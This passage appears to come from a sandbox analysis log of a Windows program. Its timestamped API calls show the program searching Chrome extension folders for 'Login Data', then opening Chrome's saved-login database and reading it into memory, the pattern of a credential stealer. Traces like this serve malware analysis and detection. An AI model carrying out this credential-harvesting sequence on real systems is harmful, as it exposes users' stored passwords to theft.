IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\de\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.882] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.882] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\el\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.882] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.882] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\en\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.882] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.882] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\es\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.882] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.883] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fi\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.883] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.883] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fil\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.883] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.883] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fr\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.883] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.883] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\he\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.883] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.883] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hi\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.883] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.883] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hr\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.884] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.884] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hu\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.884] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.884] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\id\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.884] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.884] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\it\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.884] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ja\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.884] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ko\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.885] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\lt\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.885] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\lv\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.885] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\nl\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.885] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\no\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.885] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pl\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.885] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pt_BR\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.885] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pt_PT\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.886] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ro\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.886] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ru\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.886] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sk\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.886] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sl\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.886] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sr\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.886] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sv\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.887] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\th\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.887] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\tr\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.887] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\uk\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.887] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\vi\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.887] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\zh_CN\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.887] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\zh_TW\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.932] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef8d4 | out: ppstm=0xef8d4*=0x76e560) returned 0x0 [0054.932] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\google\\chrome\\user data\\default\\login data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0054.932] ReadFile (in: hFile=0x3e8, lpBuffer=0xee8bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef8bc, lpOverlapped=0x0 | out: lpBuffer=0xee8bc*, lpNumberOfBytesRead=0xef8bc*=0x1000, lpOverlapped=0x0) returned 1 [0054.936] IStream:Commit (This=0x76e560, grfCommitFlags=0xee8bc) returned 0x0 [0054.936] ReadFile (in: hFile=0x3e8, lpBuffer=0xee8bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef8bc, lpOverlapped=0x0 | out: lpBuffer=0xee8bc*, lpNumberOfBytesRead=0xef8bc*=0x1000, lpOverlapped=0x0) returned 1 [0054.941] IStream:Commit (This=0x76e560, grfCommitFlags=0xee8bc) returned 0x0 [0054.941] ReadFile (in: hFile=0x3e8, lpBuffer=0xee8bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef8bc, lpOverlapped=0x0 | out: lpBuffer=0xee8bc*, lpNumberOfBytesRead=0xef8bc*=0x1000, lpOverlapped=0x0) returned 1 [0054.941] IStream:Commit (This=0x76e560, grfCommitFlags=0xee8bc) returned 0x0 [0054.941] ReadFile (in: hFile=0x3e8, lpBuffer=0xee8bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef8bc, lpOverlapped=0x0 | out: lpBuffer=0xee8bc*, lpNumberOfBytesRead=0xef8bc*=0x1000, lpOverlapped=0x0) returned 1 [0054.941] IStream:Commit (This=0x76e560, grfCommitFlags=0xee8bc) returned 0x0 [0054.941] ReadFile (in: hFile=0x3e8, lpBuffer=0xee8bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef8bc, lpOverlapped=0x0 | out: lpBuffer=0xee8bc*, lpNumberOfBytesRead=0xef8bc*=0x800, lpOverlapped=0x0) returned 1 [0054.941] IStream:Commit (This=0x76e560, grfCommitFlags=0xee8bc) returned 0x0 [0054.941] ReadFile (in: hFile=0x3e8, lpBuffer=0xee8bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef8bc, lpOverlapped=0x0 | out: lpBuffer=0xee8bc*, lpNumberOfBytesRead=0xef8bc*=0x0, lpOverlapped=0x0) returned 1 [0054.941] CloseHandle (hObject=0x3e8) returned 1 [0054.941] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.941] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.941] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.941] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.941] IStream:SetSize (This=0x76e560, libNewSize=0xef8ac) returned 0x0 [0054.941] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.941] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.941] IStream:LockRegion (This=0x76e560, libOffset=0x10, cb=0x0, dwLockType=0x0) returned 0x0 [0054.941] IStream:SetSize (This=0x76e560, libNewSize=0xef896) returned 0x0 [0054.941] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x12, cb=0x0, dwLockType=0x0) returned 0x0 [0054.942] IStream:SetSize (This=0x76e560, libNewSize=0xef897) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x13, cb=0x0, dwLockType=0x0) returned 0x0 [0054.942] IStream:SetSize (This=0x76e560, libNewSize=0xef897) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x14, cb=0x0, dwLockType=0x0) returned 0x0 [0054.942] IStream:SetSize (This=0x76e560, libNewSize=0xef897) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x15, cb=0x0, dwLockType=0x0) returned 0x0 [0054.942] IStream:SetSize (This=0x76e560, libNewSize=0xef897) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x16, cb=0x0, dwLockType=0x0) returned 0x0 [0054.942] IStream:SetSize (This=0x76e560, libNewSize=0xef897) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x17, cb=0x0, dwLockType=0x0) returned 0x0 [0054.942] IStream:SetSize (This=0x76e560, libNewSize=0xef897) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x18, cb=0x0, dwLockType=0x0) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x20, cb=0x0, dwLockType=0x1) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x38, cb=0x0, dwLockType=0x0) returned 0x0 [0054.942] IStream:SetSize (This=0x76e560, libNewSize=0xef894) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x3c, cb=0x0, dwLockType=0x0) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x28, cb=0x0, dwLockType=0x1) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x64, cb=0x0, dwLockType=0x1) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x64, cb=0x0, dwLockType=0x0) returned 0x0 [0054.942] IStream:SetSize (This=0x76e560, libNewSize=0xef83b) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x65, cb=0x0, dwLockType=0x0) returned 0x0 [0054.942] IStream:SetSize (This=0x76e560, libNewSize=0xef83a) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x67, cb=0x0, dwLockType=0x0) returned 0x0 [0054.942] IStream:SetSize (This=0x76e560, libNewSize=0xef83a) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x69, cb=0x0, dwLockType=0x0) returned 0x0 [0054.942] IStream:SetSize (This=0x76e560, libNewSize=0xef83a) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.942] IStream:LockRegion (This=0x76e560, libOffset=0x6b, cb=0x0, dwLockType=0x0) returned 0x0 [0054.942] IStream:SetSize (This=0x76e560, libNewSize=0xef83b) returned 0x0 [0054.943] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.943] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.943] IStream:LockRegion (This=0x76e560, libOffset=0x6c, cb=0x0, dwLockType=0x0) returned 0x0 [0054.943] IStream:SetSize (This=0x76e560, libNewSize=0xef83a) returned 0x0 [0054.943] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.943] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.943] IStream:LockRegion (This=0x76e560, libOffset=0x6e, cb=0x0, dwLockType=0x0) returned 0x0 [0054.943] IStream:SetSize (This=0x76e560, libNewSize=0xef83a) returned 0x0 [0054.943] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.943] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.943] IStream:LockRegion (This=0x76e560, libOffset=0x70, cb=0x0, dwLockType=0x0) returned 0x0 [0054.943] IStream:SetSize (This=0x76e560, libNewSize=0xef83a) returned 0x0 [0054.943] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.943] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.943] IStream:LockRegion (This=0x76e560, libOffset=0x72, cb=0x0, dwLockType=0x0) returned 0x0 [0054.943] IStream:SetSize (This=0x76e560, libNewSize=0xef83a) returned 0x0 [0054.943] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.943] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.943] IStream:LockRegion (This=0x76e560, libOffset=0x74, cb=0x0, dwLockType=0x0) returned 0x0 [0054.943] IStream:SetSize (This=0x76e560, libNewSize=0xef83a) returned 0x0 [0054.943] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.943] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.943] IStream:LockRegion (This=0x76e560, libOffset=0x76, cb=0x0, dwLockType=0x0) returned 0x0 [0054.943] IStream:SetSize (This=0x76e560, libNewSize=0xef83a) returned 0x0 [0054.943] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.943] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.943] IStream:LockRegion (This=0x76e560, libOffset=0x78, cb=0x0, dwLockType=0x0) returned 0x0 [0054.943] IStream:SetSize (This=0x76e560, libNewSize=0xef83a) returned 0x0 [0054.943] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.943] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.943] IStream:LockRegion (This=0x76e560, libOffset=0x7a, cb=0x0, dwLockType=0x0) returned 0x0 [0054.943] IStream:SetSize (This=0x76e560, libNewSize=0xef83a) returned 0x0 [0054.943] IStream:LockRegion (This=0x76e560, libOffset=0x767, cb=0x0, dwLockType=0x0) returned 0x0 [0054.943] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.943] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.943] IStream:LockRegion (This=0x76e560, libOffset=0x767, cb=0x0, dwLockType=0x0) returned 0x0 [0054.943] IStream:SetSize (This=0x76e560, libNewSize=0xef81b) returned 0x0 [0054.943] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.943] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.943] IStream:LockRegion (This=0x76e560, libOffset=0x768, cb=0x0, dwLockType=0x0) returned 0x0 [0054.943] IStream:SetSize (This=0x76e560, libNewSize=0xef81b) returned 0x0 [0054.943] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef830 | out: ppstm=0xef830*=0x76e6f0) returned 0x0 [0054.943] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.943] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.943] IStream:LockRegion (This=0x76e560, libOffset=0x769, cb=0x0, dwLockType=0x0) returned 0x0 [0054.943] IStream:SetSize (This=0x76e560, libNewSize=0x75e920) returned 0x0 [0054.943] IStream:Commit (This=0x76e6f0, grfCommitFlags=0x75e920) returned 0x0 [0054.943] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.943] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.943] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.944] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e6f0, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0054.944] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e6f0, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0054.944] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e6f0, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0054.944] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 